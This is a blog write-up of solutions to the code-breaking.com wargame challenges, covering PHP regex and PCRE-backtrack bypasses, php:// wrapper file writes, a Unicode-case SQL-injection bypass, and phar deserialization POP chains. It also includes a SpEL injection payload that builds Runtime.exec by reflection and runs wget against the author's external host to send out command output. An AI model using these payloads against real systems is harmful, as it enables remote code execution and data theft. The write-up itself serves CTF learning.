[WarGame] code-breaking.com solution

 

easy – http://51.158.75.42:8087/

We are given code:

At line 5, there is a regex that match following rules:

  • Start with a->z, 0->9 or “_”

  • Only allows a->z, 0->9 or “_”

So we cannot simply do a test like ?action=var_dump&arg=1 to execute the php: var_dump(1)

The task here are avoid their rules and execute php function!

php is beautiful, it has many features that you can use to bypass, in this case: Global Space

So we put \ at the beginning of function, var_dump will be treated as a valid function -> execute

Now we come to another problem, at line 8 there is a code:

$action('', $arg);

It means we have to find a function that take first parameter empty to read flag, within my knowledge, there is only one function can do it: create_function , this function can be used as another eval (mentioned in the php docs), so using it and get flag:

pcrewaf – http://51.158.75.42:8088/

We are given code:

Look at line 3, there is a regex which prevent us from input php code, it means if in our file content got string start with <? and end with ( or ` or ; or ? or >, the upload will fail!
Again, php rock!
There is a runtime configuration defined in php.ini for pcre named pcre.backtrack_limit which is affected on preg_* function.

This configuration defined the limitation time that backtrack can occur. if we reach the limitation, the preg_*() fail on the regex and we will pass the check.

So, what is backtrack? Assume we got the below regex:

.+b

And our input string will be

aaaaaabcd

then it will first match aaaaaabc on the .+ and compare b against the remaining d. This fails, so it backtracks a bit and matches aaaaaab for the .+ and then compares the final b against the c. This fails too, so it backtracks again and tries aaaaaa for the .+ and the matches the b against the b and succeeds.

Each time it backtracks, the count increase by 1 til the limitation

In php, the default value of it is “1.000.000”

Back to our challenge, the regex here is

our task now is input file that contains our php code and junks to reach the pcre limitation.

junk="a"*1000001
payload="<?php phpinfo();//"+junk
f=open('very_safe_file','w')
f.write(payload)
f.close()

create our upload form:

Then upload our exploit, success ^_^!

phpmagic – http://51.158.75.42:8082/index.php?read-source=1

Simple service that do a command dig -t A -q $domain

Source code given:

In line 24, the function file_put_contents take two parameters which we can control, the first is $log_name show in line 14, the second is $output which is a result of the command when we input $domain

$log_name is composed by $_SERVER['SERVER_NAME'] and itself as shown in line 22

From php page:

It means we can control this value by setting a virtualhost, to do this, first proxy via the site, you’re done. For example, assume we got the following code:

<?php

echo 'Testing proxy';
echo $_SERVER['SERVER_NAME'];

?>

Access it:

Now proxy via it:

Try something fun :), we control the value of $_SERVER['SERVER_NAME']

Back to our challenge, let proxy via the challenge site, and we can fully control $log_name input-ed to file_put_contents function

Let take a look at this: http://php.net/manual/en/wrappers.php.php

So we can use php wrapper in $log_name and some convert type on the content that will be written

Let do it:

view log file, all upper ^_^

We cannot input php code directly since our result is passed to htmlspecialchars, it means < is encoded and php cannot parse.

We have to find a way! Simple, just input our payload in base64 from to $domain, and use base64 decoder wrapper to decode it!


result:

Last problem is, change the extension of file to .php since it is filtered, change it to .php/. tricked the check

Final payload:

Result:

phplimit – http://51.158.75.42:8084/

Source code given:

At line 2 we can see the regex, the main idea is it will match any string that contains a-zA-Z0-9_ and end with ()

In our challenge, we have to make the string pass to the regex and return ;, let test

To be clear, our task now is, run system command with any php function which “take no parameter or take other php function which take no parameter”

Example: abc(xyz()); is valid

One function without parameter can’t do anything, we have to find the function that return something useful, to input to another function!

the get_defined_vars() is promising, let take a look:

It returns array of $_GET, $_POST, $_COOKIE and $_FILES, we are going to use current() to access $_GET:

As you can see, it return array of code, it is our input, now we add another GET parameter:

Extract tsu using next():

What we are doing so far is: var_dump('handsome'), what next? replace var_dump and handsome to something useful and we are done!

nodechr – http://51.158.73.123:8085/source

This challenge is about SQL Injection, look at the safeKeyword and login function:

Basically if we input username and password, theirs two are passed into safeKeyword function which filter union, select, ;, -- then do a query

SELECT * FROM “users” WHERE “username” = ‘${username.toUpperCase()}’ AND “password” = ‘${password.toUpperCase()}’

Why upper case? Node.js® is a JavaScript runtime built on Chrome’s V8 JavaScript engine, as i remember javascript has some strange behaviour on this function.

From this: https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

Found that uppercase of ı is I, uppercase of ſ is S, let test:

Get Flag:

javacon – http://51.158.75.42:8081/

We are given a java spring boot web app snapshot

Download and drop it to Bytecode Viewer to analysis:

Look at io/tricking/challenge/MainController.class, this file defined route and operation for app, we focus on login route:

As you can see, if we check the remember me option, our input will pass into this.userConfig.encryptRememberMe() (if login success)

Then it does some blah blah action to generate the crypt, save in cookie.
When we comeback, this cookie will be decrypted, we are remembered.

we found this.rememberMeKey from BOOT-INF/classes/application.yml, alongs with account admin/admin:

I decided to re-code an encryption function to output crypt based on what we input (because the encryption of webapp require login successful), you can find it here:
https://pastebin.com/GzistNiL

output:

X0W3Vrt5bJqVhk4LOWUZyQ==

Login with user admin/admin, change remember-me cookie value to the output above:

we tsug0d now!

In io/tricking/challenge/MainController.class, the admin() function check remember-me, if available, decrypt and pass the result into getAdvanceValue() function

Let take a look:

From this we know that parseExpression take value and parse it. Since we can control this value, Expression Language Injection here!

Note that the parse is blind, it won’t show on the page, but we can trigger error to confirm if it is vulnerabled:

Simple.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{String.getClass()}")

Result:

nGaf4EvgK7Y9Wn0QkjktzWoKJFKgghJCw7jS0Hn0eJg=

There are blacklist keywords that we have to avoid:

keywords:
  blacklist:
    - java.+lang
    - Runtime
    - exec.*\(

We are going to construct the following command:

T(java.lang.Runtime).getRuntime().exec("wget http://tsug0d.com:4321/?a=1")

using Java Reflection API

  • Using getClass() to construct instance of java.lang.Runtime class
String.class.getClass().forName("java.l"+"ang.Run"+"time")
  • Using getMethod() to get the exec methods of the class
instance_Class.getMethod("ex"+"ec",String.class)
  • Using invoke() method invokes the underlying method represented by this Method object, on the specified object with the specified parameters

Modify a bit to fit SpEL Language, we got payload:

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String)).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),"wget http://tsug0d.com:4321/?a=1")}

crypt:

bvik1nAmjEAllRdn5UKWGC9uCj0hW0P2B6k1uigkS1acKxD9b_xNi-x09UGgjU1DvDEI2GGk4Jn0ApM_cSVc0G7kGnvvtewNRVsfqFUCR0fctx0_6alc-Ul5Hsdvg3a5zzabNVbdCMtdsETuqlPGzUzyrqbLZPSKgRS8F7NdNee6litNavvAnY3bUcIi0OZhR4k7Q_aQVTuEDwYEYhAYbR9kv4RrcnacbLAHP9FjlDLSKLk4FUJ58aQdB05XTfYGGaTLwmq70Tbv1Ef9QSmEOjCPg4NgDo_0VOwGjv-3NGKQaPSVRVmkl86wUBn94fgpGKsoAMCuXV7Z2PPqD5-iXnBNG4zxXQmQqrrfe1iqu9D89wnQtHifzqzOwLyptR7h

change cookie, refresh, on my server:

Since exec in jvm cannot run complex command, we have to change it to another way:

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","wget http://tsug0d.com:4321/?a=`ls f*`"})}

crypt:

bvik1nAmjEAllRdn5UKWGC9uCj0hW0P2B6k1uigkS1acKxD9b_xNi-x09UGgjU1DvDEI2GGk4Jn0ApM_cSVc0G7kGnvvtewNRVsfqFUCR0fMAPqbj6yqACW6XVtt8Fp1nBwebKd7pkYSZCv6Yj3X7H-0-8HDV6F3sS3yWHUQEBPAyiNmKfkSKUV5VVlNdo16Nij8YX8HvKdeMHJ7_5Sdjfmfq3dKPeUOivMyVp_GdEkffgly4YX4eWCOzQRr4uQgodsKw2pC9N9udnw3Fz7O5ZhzmoYttjLubBowMtkF-Q6HHCvBrK9SWCzRQXC6jqYX_XeqyZuDreUixnpXpzlN9ATMq650tXCEsY3IgEjPBfhdiR8ACooOGQThio01fFYk7fAhastRoDdCz8p954PkLM5OGyJecGpAEvfh17WmDqI=

result:

cat flag_j4v4_chun:

lumenserial – http://51.158.73.123:8080/

Very cool POP chains challenge, i had many problems when solving it. This challenge is about phar unserialize php, find and chain gadget to execute our function.

Source code given: https://www.leavesongs.com/media/attachment/2018/11/23/lumenserial.tar.gz

First things we can notice in the source code is file_get_contents inside download() in lumenserial\app\Http\Controllers\EditorController.php

We can control the $url, it means we can pass phar:// wrapper into it and trigger the unserialize()

Now we have the power to fake some parameter value in any class & trigger class function via php magic method.

Gadged 1: lumenserial\vendor\illuminate\broadcasting\PendingBroadcast.php

From php docs:

so it will be called auto automatically

We can control $this->events and $this->event, it means we can call dispatch function of any class and it arguments. But what if the class doesn’t has dispatch function? Well, another php magic method will be called instead: __call

Test:

Now we have to find a class which got good __call method to continue our chain

Gadget 2: lumenserial\vendor\fzaninotto\faker\src\Faker\ValidGenerator.php

call_user_func_array and call_user_func is called

call_user_func_array is uncontrolled because value of $name is “dispatch” (see the test code in image above) , so $res is temporary uncontrolled, we have to control it value to pass it into call_user_func to execute our function!

We come to new gadget, to control the result of call_user_func_array

Gadget 3: lumenserial\vendor\fzaninotto\faker\src\Faker\Generator.php

__call call format()

format() call getFormatter(), and it returns $this->formatters[$formatter]

value of $formatter here is “dispatch”, so we actually return $this->formatters['dispatch']

so construct a formatters array like (“dispatch” => some_array()), we can control it return array we want (because of __construct)

To be clear:
call_user_func_array($this->getFormatter($formatter), $arguments)
become
call_user_func_array($this->getFormatter["dispatch"], $arguments)
become
call_user_func_array(some_array(), $arguments)

But we want it to return string value, so the some_array() will be come


$x = new \Faker\Generator(array('tmp' => $res_controlled ));
array($x, "getFormatter")

Now it become
call_user_func_array( ($x => "getFormatter") , $arguments)
=> getFormatter($argument)
=> $this->formatters[$argument]
If we input $arguments = array('tmp')
=> return $res_controlled

Gadget 4: lumenserial\vendor\phpunit\phpunit\src\Framework\MockObject\Stub\ReturnCallback.php

$this->callback controlled, we move to Invocation

Gadget 5: lumenserial\vendor\phpunit\phpunit\src\Framework\MockObject\Invocation\StaticInvocation.php

Combine all together, we got the exploit

https://pastebin.com/FNC9wgEp

Upload, then trigger it:

/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/xxx.gif

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s